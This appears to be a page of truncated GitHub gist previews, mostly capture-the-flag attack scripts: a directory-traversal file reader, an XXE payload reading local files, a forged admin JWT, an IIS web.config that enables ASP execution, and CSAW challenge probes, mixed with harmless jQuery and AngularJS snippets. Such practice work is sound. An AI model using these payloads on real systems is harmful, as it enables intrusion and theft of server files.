This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as rq | |
import sys, os | |
url = "http://10.10.10.87/" | |
headers={'Content-Type':'application/x-www-form-urlencoded'} | |
startdir = "./.../...//.../...//.../...//" | |
currentdir = startdir | |
print("#########"*4+"\n# Directory traversal file reader. #\n# Commands: cd, ls, cat & clear. #\n"+"#########"*4) | |
while True: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Detects if two elements are colliding | |
* | |
* Credit goes to BC on Stack Overflow, cleaned up a little bit | |
* | |
* @link http://stackoverflow.com/questions/5419134/how-to-detect-if-two-divs-touch-with-jquery | |
* @param $div1 | |
* @param $div2 | |
* @returns {boolean} | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<configuration> | |
<system.webServer> | |
<handlers accessPolicy="Read, Script, Write"> | |
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> | |
</handlers> | |
<security> | |
<requestFiltering> | |
<fileExtensions> | |
<remove fileExtension=".config" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as rq | |
import sys | |
filename = sys.argv[1] | |
url = "http://10.10.10.91:5000/upload" | |
data = """<?xml version="1.0"?> | |
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file://FD" >]> | |
<Container> | |
<Author></Author> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as rq | |
import jwt | |
tokenData = { | |
'exp': 1538956189, | |
'iat': 0, | |
'sub': 0, | |
'admin': True | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
An AngularJS App to view details about a user's github profile. View it at https://georgeom.net/userSearcher/webpage.html | |
Code spread across the 4 attached files. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as rq | |
for i in range(1,1000): | |
headers = { | |
"bring_back_random_click":"hhhhhhhhhh", | |
} | |
req = rq.get("http://web.chal.csaw.io:10106/default/", headers=headers) | |
if len(req.text) != 243: | |
print req.text[:-1] | |
break |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as rq | |
import json | |
url = "http://web.chal.csaw.io:10106/" | |
def register(userpass): | |
global auth | |
if len(userpass) < 8: | |
return "Please enter at least 8 characters." | |
details = { | |
"username":userpass, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def stats(): | |
global auth | |
userinfo = rq.get("http://web.chal.csaw.io:10106/user", headers=auth).json() | |
userclickers = json.loads(rq.get("http://web.chal.csaw.io:10106/clicker/user", headers=auth).json().replace("'",'"')) | |
print("##########\nStats for "+userinfo['username']+":") | |
print("##########") | |
print("Money: "+str(userinfo['money'])) | |
print("##########\nClicker Name | Clicker Value | Clicker Price\n"+("----------"*5)) | |
for count, i in enumerate(userclickers): | |
print(i['name']+" | "+str(i['value'])+" | "+str(i['price'])) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def click(clicker): | |
global authorization | |
data={'name':clicker} | |
req = rq.post("http://web.chal.csaw.io:10106/clicker/click", headers=authorization, json=data) | |
if req.json()['status'] == "success": | |
return "Success!" | |
elif req.json()['message'] == "Clicker not owned": | |
return "Clicker not owned." | |
else: | |
return "Clicker does not exist." |